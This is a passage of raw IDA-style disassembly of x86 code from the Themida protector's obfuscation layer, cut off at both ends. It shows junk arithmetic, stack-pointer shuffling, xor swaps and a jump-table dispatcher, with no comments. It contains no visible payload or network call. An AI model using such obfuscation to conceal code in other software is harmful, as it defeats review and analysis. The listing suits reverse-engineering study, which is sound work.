XREF: Themida_:005701B1j push ecx push 4 pop ecx mov ebp, ecx mov ecx, [esp] add esp, 4 add edx, ebp jmp loc_55E8AC ; --------------------------------------------------------------------------- loc_568437: ; CODE XREF: Themida_:0056D4A6j add ecx, edx pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_55EE5F ; --------------------------------------------------------------------------- loc_56844B: ; CODE XREF: Themida_:0056E2DDj push dword ptr [esp] pop ebx push ecx push esp pop ecx jmp loc_562FB2 ; --------------------------------------------------------------------------- loc_568457: ; CODE XREF: Themida_:0056A674j pop esp jmp loc_562C23 ; --------------------------------------------------------------------------- loc_56845D: ; CODE XREF: Themida_:00567750j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55FF49 ; --------------------------------------------------------------------------- loc_568470: ; CODE XREF: Themida_:00562A63j or eax, edx pop edx shl eax, 7 sub eax, 0ACDF4AF1h xor ebp, eax pop eax mov ebx, ebp pop ebp pop edi jmp loc_56755F ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebx push esp push dword ptr [esp] pop ebx sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 jmp loc_56F6AF ; --------------------------------------------------------------------------- mov cx, [esp] push 28FFh mov [esp], eax mov eax, esp sub esp, 4 jmp loc_55E770 ; --------------------------------------------------------------------------- loc_5684C5: ; CODE XREF: Themida_:00564D7Dj push eax jmp loc_56CDD6 ; --------------------------------------------------------------------------- loc_5684CB: ; CODE XREF: Themida_:0056EC58j push esi push 1A98h mov [esp], eax push 49103142h pop eax dec eax jmp loc_5618B1 ; --------------------------------------------------------------------------- loc_5684E0: ; CODE XREF: Themida_:00569C29j add ecx, 15D4681Bh add ecx, 0A78EB078h sub ebx, 6409091Ah add ebx, ecx push ebp mov ebp, 64B06076h xor ebp, 388354BCh neg ebp xor ebp, 0C7C5C22Ch jmp loc_560653 ; --------------------------------------------------------------------------- loc_56850D: ; CODE XREF: Themida_:005666CAj ; Themida_:00572644j sub esp, 4 mov [esp], esi push ebx mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], esi pop eax push dword ptr [esp] jmp loc_5672B7 ; --------------------------------------------------------------------------- loc_56852C: ; CODE XREF: Themida_:00561E95j push esi mov esi, 14662251h shl esi, 5 sub esi, 0FFFFFFFFh inc esi sub esi, 8399D9BFh or edx, esi mov esi, [esp] add esp, 4 or edx, 2BED070Dh shl edx, 4 jmp loc_566C1B ; --------------------------------------------------------------------------- loc_568558: ; CODE XREF: Themida_:0057113Bj mov dx, [esp] push ebp jmp loc_564BE0 ; --------------------------------------------------------------------------- loc_568562: ; CODE XREF: Themida_:00572112j add edi, 0DB919C20h mov eax, edi jmp loc_56CC05 ; --------------------------------------------------------------------------- loc_56856F: ; CODE XREF: Themida_:005675FDj mov ebp, 61700A34h sub ebp, 5F70BE87h jmp loc_56C662 ; --------------------------------------------------------------------------- loc_56857F: ; CODE XREF: Themida_:0056133Fj mov edx, esp add edx, 4 jmp loc_56CF93 ; --------------------------------------------------------------------------- loc_56858C: ; CODE XREF: Themida_:0056B251j add esp, 4 jmp loc_56DAB9 ; --------------------------------------------------------------------------- loc_568594: ; CODE XREF: Themida_:0056F3CDj sub esp, 4 mov [esp], esi mov esi, 56DD0AF6h inc esi shr esi, 1 sub esi, 2B6E8577h sub edi, 9221FD2h add edi, esi add edi, 9221FD2h pop esi add edi, 4 xchg edi, [esp] pop esp add esi, 4 push edi jmp loc_56A90C ; --------------------------------------------------------------------------- loc_5685CD: ; CODE XREF: Themida_:00562E55j sub esi, 50EA4BDFh pop eax push ecx jmp loc_563048 ; --------------------------------------------------------------------------- loc_5685DA: ; CODE XREF: Themida_:005640E2j xor ebp, 5C315839h neg ebp push edx mov edx, 14E01F02h shl edx, 2 dec edx dec edx not edx push ecx mov ecx, 6D2871BDh not ecx jmp loc_56FDA1 ; --------------------------------------------------------------------------- loc_5685FC: ; CODE XREF: Themida_:0056523Dj xchg edi, [esp] pop esp mov [esp], edx mov edx, 338A1731h not edx push 51F6h mov [esp], ecx mov ecx, 135031BCh add ecx, 63B2374Ah shr ecx, 3 dec ecx shl ecx, 2 xor ecx, 77DB7524h xor edx, ecx pop ecx jmp loc_569B07 ; --------------------------------------------------------------------------- loc_568632: ; CODE XREF: Themida_:0056F045j shr edi, 5 jmp loc_570E95 ; --------------------------------------------------------------------------- loc_56863A: ; CODE XREF: Themida_:0055ED47j xor [esp], eax jmp loc_55D86D ; --------------------------------------------------------------------------- loc_568642: ; CODE XREF: Themida_:0056E0E5j pop eax add bl, dh mov edx, [esp] add esp, 4 push eax mov al, bl jmp loc_5717A2 ; --------------------------------------------------------------------------- loc_568653: ; CODE XREF: Themida_:00566A94j sub al, 32h mov dh, al pop eax shr dh, 5 add dh, 24h neg dh inc dh and dh, 6Fh sub dh, 0F2h xor al, dh pop edx add bl, al pop eax sub bl, 0ACh movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- jmp loc_5714A5 ; --------------------------------------------------------------------------- loc_56867C: ; CODE XREF: Themida_:00567625j add esi, 651E5CF4h sub esi, eax sub esi, 651E5CF4h mov eax, [esp] jmp loc_56A161 ; --------------------------------------------------------------------------- loc_568692: ; CODE XREF: Themida_:00562C63j shr dh, 7 or dh, 59h sub dh, 0CCh sub dh, 3Bh sub bl, 16h jmp loc_569D4D ; --------------------------------------------------------------------------- loc_5686A6: ; CODE XREF: Themida_:0055DC8Aj sub bl, ch pop ecx push ecx jmp loc_55E430 ; --------------------------------------------------------------------------- loc_5686AF: ; CODE XREF: Themida_:00564891j pop dword ptr [esp] pop esp jmp loc_568F28 ; --------------------------------------------------------------------------- loc_5686B8: ; CODE XREF: Themida_:005605A3j push edi mov edi, 757F56C7h inc edi or edi, 25EE5DB2h jmp loc_566936 ; --------------------------------------------------------------------------- loc_5686CA: ; CODE XREF: Themida_:0056E6EBj add ebx, 0CA619BAh sub esp, 4 jmp loc_563175 ; --------------------------------------------------------------------------- loc_5686DB: ; CODE XREF: Themida_:005676B8j pop esp add edi, 2 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_56DC46 ; --------------------------------------------------------------------------- loc_5686F9: ; CODE XREF: Themida_:00560686j mov cl, 9Fh jmp loc_56AA2F ; --------------------------------------------------------------------------- loc_568700: ; CODE XREF: Themida_:00560737j push ebp push edi push 6D4C0AE4h mov edi, [esp] add esp, 4 sub edi, 12FD6297h dec edi push edi jmp loc_56F9A8 ; --------------------------------------------------------------------------- loc_56871A: ; CODE XREF: Themida_:005660FEj push esi mov esi, 206B6807h jmp loc_566347 ; --------------------------------------------------------------------------- loc_568725: ; CODE XREF: Themida_:0056FE99j xor edx, 664CE239h sub esi, edx jmp loc_5641CC ; --------------------------------------------------------------------------- loc_568732: ; CODE XREF: Themida_:005670F8j add esi, 6C1E2FB0h add ecx, esi pop esi sub ebp, 619E0E4Eh add ebp, ecx push ecx mov ecx, 419301C7h add ecx, offset dword_4E10F8 shl ecx, 5 jmp loc_563C8A ; --------------------------------------------------------------------------- loc_568757: ; CODE XREF: Themida_:0056A135j xchg bl, [esp+1] pop edx jmp loc_56375C ; --------------------------------------------------------------------------- loc_568761: ; CODE XREF: Themida_:0056F7A2j xor eax, edx push dword ptr [esp] pop edx add esp, 4 push esi push ecx jmp loc_56FB9C ; --------------------------------------------------------------------------- loc_568771: ; CODE XREF: Themida_:00569ED1j push ebp jmp loc_55E091 ; --------------------------------------------------------------------------- loc_568777: ; CODE XREF: Themida_:00571E85j sub edx, esi pop esi sub edx, ebx add edx, 40161E37h jmp loc_569D0A ; --------------------------------------------------------------------------- loc_568787: ; CODE XREF: Themida_:0055E8F7j push 4E42209Ch jmp loc_5714C1 ; --------------------------------------------------------------------------- loc_568791: ; CODE XREF: Themida_:005663E4j sub eax, 4 xchg eax, [esp] jmp loc_567651 ; --------------------------------------------------------------------------- loc_56879E: ; CODE XREF: Themida_:0055E6C5j inc esi sub esi, 1 xor esi, 0E245F1C0h sub esi, 25513697h or esi, 337910EBh xor esi, 331E1BB2h or esi, 69AE7D36h push edi mov edi, 5FBE4F50h shr edi, 4 push esi mov esi, 50DA796Fh xor edi, esi pop esi neg edi xor edi, 64FD2489h sub esp, 4 mov [esp], ebx mov ebx, 0FB4FF1BBh xor edi, ebx pop ebx xor esi, edi jmp loc_56CA66 ; --------------------------------------------------------------------------- loc_5687F2: ; CODE XREF: Themida_:0056B66Dj mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] pop dword ptr [esp] pop esp sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_5601BF ; --------------------------------------------------------------------------- loc_56881F: ; CODE XREF: Themida_:00569DE4j push dword ptr [esp] pop eax push eax push esp pop eax add eax, 4 sub eax, 4 jmp loc_55EB9B ; --------------------------------------------------------------------------- loc_568833: ; CODE XREF: Themida_:0055E039j push dword ptr [esp+4] mov ebp, [esp] jmp loc_564AE4 ; --------------------------------------------------------------------------- loc_56883F: ; CODE XREF: Themida_:005666EFj sub esi, 4 xchg esi, [esp] jmp loc_570DA1 ; --------------------------------------------------------------------------- loc_56884A: ; CODE XREF: Themida_:0056CF4Ej mov edi, 57E34C1Dh push 599Fh jmp loc_5616D7 ; --------------------------------------------------------------------------- loc_568859: ; CODE XREF: Themida_:00564807j mov ebx, 4ABE4D95h add ebx, 7D3E0776h jmp loc_56FD2E ; --------------------------------------------------------------------------- loc_568869: ; CODE XREF: Themida_:0055DF64j pop eax pop dword ptr [esp] mov esp, [esp] push 7FAh jmp loc_570D6F ; --------------------------------------------------------------------------- loc_56887A: ; CODE XREF: Themida_:0056D95Aj push eax mov eax, 6BB8280Fh xchg eax, edi inc edi push 7D9Dh mov [esp], eax push edi mov eax, [esp] jmp loc_560B53 ; --------------------------------------------------------------------------- loc_568893: ; CODE XREF: Themida_:0056A358j pop esp add esi, ebp pop ebp and eax, esi push dword ptr [esp] pop esi push 7E1Fh mov [esp], eax push 0E24h mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] add esp, 4 push edi mov edi, 4 add eax, edi mov edi, [esp] add esp, 4 jmp loc_565ADE ; --------------------------------------------------------------------------- loc_5688CA: ; CODE XREF: Themida_:00561F33j mov ecx, 4 add ebx, ecx pop ecx jmp loc_560827 ; --------------------------------------------------------------------------- loc_5688D7: ; CODE XREF: Themida_:00563122j add eax, 70A3115Dh mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], edi jmp loc_564CB5 ; --------------------------------------------------------------------------- loc_5688ED: ; CODE XREF: Themida_:00560D3Fj pop ebx sub eax, 4 push eax push dword ptr [esp+4] pop eax jmp loc_570CD1 ; --------------------------------------------------------------------------- loc_5688FE: ; CODE XREF: Themida_:0056F3D3j xchg eax, [esp] mov esp, [esp] push 48ACh mov [esp], ebx push 1 push dword ptr [esp] mov ebx, [esp] add esp, 4 push ebx mov ebx, esp jmp loc_570032 ; --------------------------------------------------------------------------- loc_568922: ; CODE XREF: Themida_:00569F5Ej xor esi, 58947296h jmp loc_562F0E ; --------------------------------------------------------------------------- loc_56892D: ; CODE XREF: Themida_:00563651j and eax, 6704D06h jmp loc_56F6C3 ; --------------------------------------------------------------------------- loc_568937: ; CODE XREF: Themida_:00563CD8j mov [esp], edi mov edi, 3E252A64h xor edi, 10822B39h inc edi push ebp mov ebp, 0DF6B22h or edi, ebp push dword ptr [esp] pop ebp add esp, 4 shr edi, 7 jmp loc_566180 ; --------------------------------------------------------------------------- loc_56895D: ; CODE XREF: Themida_:00566B49j mov [esp], edi mov edi, 4 jmp loc_565B2E ; --------------------------------------------------------------------------- loc_56896A: ; CODE XREF: Themida_:00567078j push eax jmp loc_56E832 ; --------------------------------------------------------------------------- loc_568970: ; CODE XREF: Themida_:005713B8j pop edi xchg eax, [esp] mov esp, [esp] loc_568977: ; CODE XREF: Themida_:0056EBFEj push 60C0h mov [esp], esi push 23Eh mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 jmp loc_562390 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx mov ecx, esp jmp loc_56039F ; --------------------------------------------------------------------------- loc_5689A6: ; CODE XREF: Themida_:00571FECj add eax, 30194422h jmp loc_5637E0 ; --------------------------------------------------------------------------- loc_5689B0: ; CODE XREF: Themida_:0056925Cj push edi mov edi, ebx mov edx, edi jmp loc_5665F8 ; --------------------------------------------------------------------------- loc_5689BA: ; CODE XREF: Themida_:005633DAj pop ebp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp sub ecx, 3C0DC877h push ecx mov ebp, [esp] add esp, 4 jmp loc_560438 ; --------------------------------------------------------------------------- loc_5689E0: ; CODE XREF: Themida_:0056F095j add edi, esi pop esi or esi, edi pop edi and esi, 22A562BDh push esi not dword ptr [esp] jmp loc_569D1F ; --------------------------------------------------------------------------- loc_5689F5: ; CODE XREF: Themida_:005621BBj mov ebp, 68802C7Dh xor ebx, ebp pop ebp jmp loc_55E635 ; --------------------------------------------------------------------------- loc_568A02: ; CODE XREF: Themida_:005675CAj mov ebp, [esp] add esp, 4 add ecx, 0D1B28320h add ebp, ecx pop ecx push esi push 6D98h mov [esp], ecx mov ecx, 42C37960h xor ecx, 5B700886h xor ecx, 19B371E4h mov esi, ecx mov ecx, [esp] add esp, 4 add ebp, esi mov esi, [esp] add esp, 4 jmp loc_55E9BD ; --------------------------------------------------------------------------- loc_568A46: ; CODE XREF: Themida_:00571CE3j push ecx push 4315h mov [esp], edi mov edi, 57702171h push ebx mov ebx, 1 sub edi, ebx pop ebx jmp loc_55F141 ; --------------------------------------------------------------------------- loc_568A62: ; CODE XREF: Themida_:0056103Dj add ecx, 4 add ecx, 4 jmp loc_570B0E ; --------------------------------------------------------------------------- loc_568A70: ; CODE XREF: Themida_:0055EE21j pop ecx jmp loc_567B52 ; --------------------------------------------------------------------------- loc_568A76: ; CODE XREF: Themida_:00565FF9j shl ebx, 5 jmp loc_5614C8 ; --------------------------------------------------------------------------- loc_568A7E: ; CODE XREF: Themida_:0056AC56j not al xor al, 2Dh mov bl, al pop eax mov dl, 88h xor dl, bl jmp loc_55E63B ; --------------------------------------------------------------------------- loc_568A8E: ; CODE XREF: Themida_:00561121j push edx mov edx, 0FFFFFFFFh add esi, edx pop edx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_566377 ; --------------------------------------------------------------------------- loc_568AAB: ; CODE XREF: Themida_:0055DCC9j mov ecx, [esp] add esp, 4 push 7AB1h jmp loc_560D1E ; --------------------------------------------------------------------------- loc_568ABB: ; CODE XREF: Themida_:00562423j xor edx, ecx pop ecx add eax, 1588789Ch sub eax, 7DC56919h sub eax, edx add eax, 7DC56919h jmp loc_56479B ; --------------------------------------------------------------------------- loc_568AD4: ; CODE XREF: Themida_:005703DBj push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 163813C2h mov eax, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_560FBE ; --------------------------------------------------------------------------- loc_568B08: ; CODE XREF: Themida_:00560D8Fj add bl, 0FEh add bl, 94h push ecx jmp loc_56529F ; --------------------------------------------------------------------------- loc_568B14: ; CODE XREF: Themida_:0056C304j mov ecx, 69235254h xor ecx, 48F3F016h sub esi, ecx pop ecx mov ecx, esi mov esi, [esp] add esp, 4 xor ecx, ebp jmp loc_569F0F ; --------------------------------------------------------------------------- loc_568B31: ; CODE XREF: Themida_:0057217Bj mov ebp, esp jmp loc_55F453 ; --------------------------------------------------------------------------- loc_568B38: ; CODE XREF: Themida_:0056EE6Aj pop ebx jmp loc_55D86D ; --------------------------------------------------------------------------- loc_568B3E: ; CODE XREF: Themida_:0055EE37j add esp, 4 push ebp mov ebp, 88C350Eh sub ebp, 73AD227Fh xor ebp, 87BD7EBFh xor edi, ebp pop ebp jmp loc_569C56 ; --------------------------------------------------------------------------- loc_568B5E: ; CODE XREF: Themida_:00563A0Bj shr ecx, 2 dec ecx jmp loc_55F9DB ; --------------------------------------------------------------------------- loc_568B67: ; CODE XREF: Themida_:0056B69Cj mov esi, 88B61D1h jmp loc_5671EC ; --------------------------------------------------------------------------- loc_568B71: ; CODE XREF: Themida_:0055FC96j and al, 96h jmp loc_562436 ; --------------------------------------------------------------------------- loc_568B78: ; CODE XREF: Themida_:0056F401j xor ebp, esi pop esi jmp loc_565415 ; --------------------------------------------------------------------------- loc_568B80: ; CODE XREF: Themida_:00569E4Bj pop ebp add esp, 4 jmp loc_567B25 ; --------------------------------------------------------------------------- loc_568B8C: ; CODE XREF: Themida_:00564483j mov bl, 22h sub dl, bl jmp loc_571E61 ; --------------------------------------------------------------------------- loc_568B95: ; CODE XREF: Themida_:0056EC62j mov ebx, 35F6387Ah and ebp, ebx pop ebx xor ebp, 0F22844h add eax, ebp jmp loc_56AACB ; --------------------------------------------------------------------------- loc_568BAA: ; CODE XREF: Themida_:0056A531j pop esp push ebp jmp loc_5637EF ; --------------------------------------------------------------------------- loc_568BB1: ; CODE XREF: Themida_:00567F9Bj xor ch, 4Dh add dh, ch pop ecx sub dh, 4Fh not dh push ecx mov cl, 0EDh add dh, cl jmp loc_571598 ; --------------------------------------------------------------------------- loc_568BC6: ; CODE XREF: Themida_:0056D8CDj xor edi, 0E54F51DFh push 0D05B215Bh pop ebp sub ebp, 61B56845h sub ebp, edi add ebp, 61B56845h pop edi dec ebp dec ebp not ebp push edx jmp loc_571F34 ; --------------------------------------------------------------------------- loc_568BEB: ; CODE XREF: Themida_:00562576j mov ebp, ecx pop ecx add dword ptr [esp+4], 1F7B3247h jmp loc_562292 ; --------------------------------------------------------------------------- loc_568BFB: ; CODE XREF: Themida_:0056681Ej xor edi, ebp pop ebp sub ebx, edi pop edi sub ebx, esi add ebx, 1E7E6DC8h pop esi sub esp, 4 mov [esp], ecx mov ecx, 38D858A7h jmp loc_5600E7 ; --------------------------------------------------------------------------- loc_568C1A: ; CODE XREF: Themida_:0056E6F6j not ebx shr ebx, 7 add ebx, 52B55ADFh add ebx, 0DE9521DBh xor edi, ebx pop ebx jmp loc_5602D8 ; --------------------------------------------------------------------------- loc_568C33: ; CODE XREF: Themida_:0056315Ej push ebx push edx mov edx, 6E05072Bh mov ebx, 0CAF32035h sub ebx, edx pop edx neg ebx add ebx, 1 push ebp mov ebp, 680030D0h push 9B2h mov [esp], edi mov edi, 10BE42D3h jmp loc_56ED76 ; --------------------------------------------------------------------------- loc_568C62: ; CODE XREF: Themida_:005625D5j pop esi sub esi, 5F971AFBh mov eax, [esp] push 3D40h mov [esp], esi push esp pop esi add esi, 4 jmp loc_55D89C ; --------------------------------------------------------------------------- loc_568C81: ; CODE XREF: Themida_:005695B2j xchg esi, ebx xchg ecx, esi not ecx xchg ecx, esi xor ebx, esi xor esi, ebx jmp loc_5711BD ; --------------------------------------------------------------------------- loc_568C92: ; CODE XREF: Themida_:0057190Aj add edi, ecx jmp loc_56F509 ; --------------------------------------------------------------------------- loc_568C99: ; CODE XREF: Themida_:0056A099j push 464B2054h jmp loc_569C93 ; --------------------------------------------------------------------------- loc_568CA3: ; CODE XREF: Themida_:005606ECj add esi, edx jmp loc_55E7A6 ; --------------------------------------------------------------------------- push 5C50h mov [esp], esi push ebp jmp loc_560F69 ; --------------------------------------------------------------------------- loc_568CB8: ; CODE XREF: Themida_:005623CBj sub edx, 73B52F72h jmp loc_569B87 ; --------------------------------------------------------------------------- loc_568CC3: ; CODE XREF: Themida_:005724F3j mov eax, ebx jmp loc_56B1CA ; --------------------------------------------------------------------------- loc_568CCA: ; CODE XREF: Themida_:00571675j push edi mov edi, 65C7545Dh push edx mov edx, 3217382Eh push ebp mov ebp, 41EB0C8Fh inc ebp jmp loc_5640DF ; --------------------------------------------------------------------------- loc_568CE2: ; CODE XREF: Themida_:00560891j mov esi, edx jmp loc_566F9A ; --------------------------------------------------------------------------- loc_568CE9: ; CODE XREF: Themida_:0056F34Aj not ebx add ebx, 25466DAEh xor ebx, 0C2D35582h xor edi, ebx pop ebx pop ecx jmp loc_569D7E ; --------------------------------------------------------------------------- loc_568D00: ; CODE XREF: Themida_:0056BB05j add edi, 4 add edi, 4 push edi push dword ptr [esp+4] jmp loc_562AF8 ; --------------------------------------------------------------------------- loc_568D13: ; CODE XREF: Themida_:00563D1Aj sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_56EF56 ; --------------------------------------------------------------------------- loc_568D22: ; CODE XREF: Themida_:0056FB54j add esp, 4 mov edx, [esp] add esp, 4 pop small word ptr [eax] jmp loc_56E3B0 ; --------------------------------------------------------------------------- loc_568D39: ; CODE XREF: Themida_:0056CA61j pop eax pop dword ptr [esp] jmp loc_570C08 ; --------------------------------------------------------------------------- loc_568D42: ; CODE XREF: Themida_:00562003j dec edx jmp loc_5657A7 ; --------------------------------------------------------------------------- loc_568D48: ; CODE XREF: Themida_:0056D6E6j pop edx add esp, 4 pop edx sub esp, 4 mov [esp], eax mov al, 0Ch neg al or al, 0B8h jmp loc_564F63 ; --------------------------------------------------------------------------- loc_568D5E: ; CODE XREF: Themida_:00565E70j add ebx, 4 sub ebx, 4 jmp loc_56C223 ; --------------------------------------------------------------------------- loc_568D6C: ; CODE XREF: Themida_:0056F2A0j sub al, cl jmp loc_562CFC ; --------------------------------------------------------------------------- loc_568D73: ; CODE XREF: Themida_:00568FE0j or eax, 2F4C35F2h add eax, 29ED4FEEh jmp loc_55E57A ; --------------------------------------------------------------------------- loc_568D82: ; CODE XREF: Themida_:00560BCCj mov [esp], esp push edx mov edx, 4 sub dword ptr [esp+4], 790C4697h add [esp+4], edx add dword ptr [esp+4], 790C4697h pop edx mov ebp, [esp] add esp, 4 add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], eax push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_5651D9 ; --------------------------------------------------------------------------- loc_568DCC: ; CODE XREF: Themida_:00563D26j push esi pop ebp mov eax, ebp pop ebp push dword ptr [esp] jmp loc_566B04 ; --------------------------------------------------------------------------- loc_568DD9: ; CODE XREF: Themida_:0056A737j mov ebx, esp push esi mov esi, 68103121h push ebx mov ebx, 40E03821h jmp loc_561492 ; --------------------------------------------------------------------------- loc_568DEC: ; CODE XREF: Themida_:00561817j mov bl, 0E2h sub dh, bl push dword ptr [esp] pop ebx add esp, 4 jmp loc_56DC4B ; --------------------------------------------------------------------------- loc_568DFC: ; CODE XREF: Themida_:0056AE0Fj pop esi xchg ecx, ebp not ecx xchg ecx, ebp sub ebp, 646BC413h sub edi, 563025F2h add edi, ebp add edi, 563025F2h pop ebp mov ebx, [esp] add esp, 4 jmp loc_562D04 ; --------------------------------------------------------------------------- loc_568E23: ; CODE XREF: Themida_:0056E643j add eax, 4 add eax, 4 xchg eax, [esp] pop esp add al, 0E3h add al, 83h sub al, dl push ecx jmp loc_571A22 ; --------------------------------------------------------------------------- loc_568E3B: ; CODE XREF: Themida_:0056919Bj add edi, 294D4EBCh add eax, edi pop edi add ecx, 394734A3h sub ecx, 3A7B6CECh push edx mov edx, 287F104Ah push eax jmp loc_564188 ; --------------------------------------------------------------------------- loc_568E5C: ; CODE XREF: Themida_:00566724j or dh, 2Fh push 19B4h mov [esp], ecx mov ch, 0BAh or ch, 24h jmp loc_566FE7 ; --------------------------------------------------------------------------- loc_568E71: ; CODE XREF: Themida_:00568051j xchg edx, [esp] pop esp jmp loc_561C23 ; --------------------------------------------------------------------------- loc_568E7A: ; CODE XREF: Themida_:00566320j xor [esp], ebx xor ebx, [esp] jmp loc_567ECA ; --------------------------------------------------------------------------- loc_568E85: ; CODE XREF: Themida_:0056E7BAj sub ecx, 71AF1B97h jmp loc_561208 ; --------------------------------------------------------------------------- loc_568E90: ; CODE XREF: Themida_:0056E9B9j pop eax add esp, 4 add esi, 16ED49C4h sub esi, ebx sub esi, 16ED49C4h jmp loc_56A2BE ; --------------------------------------------------------------------------- loc_568EAA: ; CODE XREF: Themida_:00570E52j add edi, eax pop eax mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add edi, 2 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_56A650 ; --------------------------------------------------------------------------- loc_568ED4: ; CODE XREF: Themida_:0056C3ADj mov [esp], esi sub esp, 4 mov [esp], ebx push 2A7F37A5h push dword ptr [esp] jmp loc_56936B ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ebx jmp loc_566903 ; --------------------------------------------------------------------------- loc_568F28: ; CODE XREF: Themida_:005686B3j push eax jmp loc_560180 ; --------------------------------------------------------------------------- loc_568F2E: ; CODE XREF: Themida_:0055FA2Cj sub ebx, eax push 6CC4h mov [esp], ecx push eax jmp loc_570063 ; --------------------------------------------------------------------------- loc_568F3E: ; CODE XREF: Themida_:0055F13Cj pop ebx jmp loc_55E357 ; --------------------------------------------------------------------------- loc_568F44: ; CODE XREF: Themida_:00560E9Dj add edx, esi pop esi sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx push esp mov edx, [esp] jmp loc_56F2EE ; --------------------------------------------------------------------------- loc_568F5D: ; CODE XREF: Themida_:0055F758j add dword ptr [esp], 4 pop eax push esi mov esi, 37943C13h inc esi jmp loc_56D4AB ; --------------------------------------------------------------------------- loc_568F71: ; CODE XREF: Themida_:00571CF4j push ecx push dword ptr [esp+4] mov ecx, [esp] push ecx mov ecx, esp jmp loc_566303 ; --------------------------------------------------------------------------- loc_568F81: ; CODE XREF: Themida_:00562089j mov esp, [esp] btr [esp], ax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_568F8F: ; CODE XREF: Themida_:0055E52Cj push 379Dh mov [esp], esi pop edx jmp loc_55E847 ; --------------------------------------------------------------------------- loc_568F9D: ; CODE XREF: Themida_:00561203j pop esp jmp loc_571BF9 ; --------------------------------------------------------------------------- loc_568FA3: ; CODE XREF: Themida_:0056F243j shr al, 2 jmp loc_55E479 ; --------------------------------------------------------------------------- loc_568FAB: ; CODE XREF: Themida_:00565046j push edi jmp loc_55EE08 ; --------------------------------------------------------------------------- loc_568FB1: ; CODE XREF: Themida_:0056B8DBj add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_566A69 ; --------------------------------------------------------------------------- loc_568FCB: ; CODE XREF: Themida_:0056DC7Cj xor ecx, [esp] xor [esp], ecx jmp loc_566859 ; --------------------------------------------------------------------------- loc_568FD6: ; CODE XREF: Themida_:005645A9j mov eax, 48963F57h and eax, 39976DBCh jmp loc_568D73 ; --------------------------------------------------------------------------- loc_568FE5: ; CODE XREF: Themida_:0055D897j push 4FEAh mov [esp], esi jmp loc_568132 ; --------------------------------------------------------------------------- loc_568FF2: ; CODE XREF: Themida_:0056A39Cj pop ecx xor dh, 0D6h jmp loc_567A9D ; --------------------------------------------------------------------------- loc_568FFB: ; CODE XREF: Themida_:005722F3j add esp, 4 jmp loc_5645DE ; --------------------------------------------------------------------------- loc_569003: ; CODE XREF: Themida_:0056C21Ej xor edx, edi pop edi push edx sub dword ptr [esp], 6AE96807h jmp loc_5681CC ; --------------------------------------------------------------------------- loc_569013: ; CODE XREF: Themida_:005665FCj pop ebx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub esi, 48257C26h push ebp mov ebp, 21ED34CBh jmp loc_56579F ; --------------------------------------------------------------------------- loc_569035: ; CODE XREF: Themida_:00563501j add esp, 4 jmp loc_56679A ; --------------------------------------------------------------------------- loc_569040: ; CODE XREF: Themida_:0055F0DFj mov esi, esp jmp loc_56653A ; --------------------------------------------------------------------------- loc_569047: ; CODE XREF: Themida_:0055EB96j pop esp mov fs:[edx], al jmp loc_55D86D ; --------------------------------------------------------------------------- loc_569050: ; CODE XREF: Themida_:00564DCDj add ebx, eax pop eax jmp loc_56099B ; --------------------------------------------------------------------------- loc_569058: ; CODE XREF: Themida_:00570CBAj pop ecx sub ebp, ebx jmp loc_564806 ; --------------------------------------------------------------------------- loc_569060: ; CODE XREF: Themida_:005725E3j shl eax, cl push 0ACEh jmp loc_5724DA ; --------------------------------------------------------------------------- loc_56906C: ; CODE XREF: Themida_:0056397Fj mov [esp], ebp push ecx jmp loc_5639BD ; --------------------------------------------------------------------------- loc_569075: ; CODE XREF: Themida_:00560279j mov edx, 36ED08E3h xor edx, 7FC635B9h sub edx, 492B3D56h add ebp, edx pop edx sub esp, 4 mov [esp], ecx mov ecx, 77BD597Ah or ecx, 4C226D30h xor ecx, 0F053825h jmp loc_56BD3F ; --------------------------------------------------------------------------- loc_5690A5: ; CODE XREF: Themida_:0055DBA0j add edi, 2E51777Bh jmp loc_5620D6 ; --------------------------------------------------------------------------- loc_5690B0: ; CODE XREF: Themida_:00562925j mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_560907 ; --------------------------------------------------------------------------- loc_5690D0: ; CODE XREF: Themida_:00567F6Cj mov edx, ecx jmp loc_56AD3E ; --------------------------------------------------------------------------- loc_5690D7: ; CODE XREF: Themida_:0056FAB3j xor ebp, edi pop edi jmp loc_5631BC ; --------------------------------------------------------------------------- loc_5690DF: ; CODE XREF: Themida_:0056E5BCj push edx jmp loc_56A832 ; --------------------------------------------------------------------------- loc_5690E5: ; CODE XREF: Themida_:0056DC34j mov ebx, ecx pop ecx jmp loc_56AB18 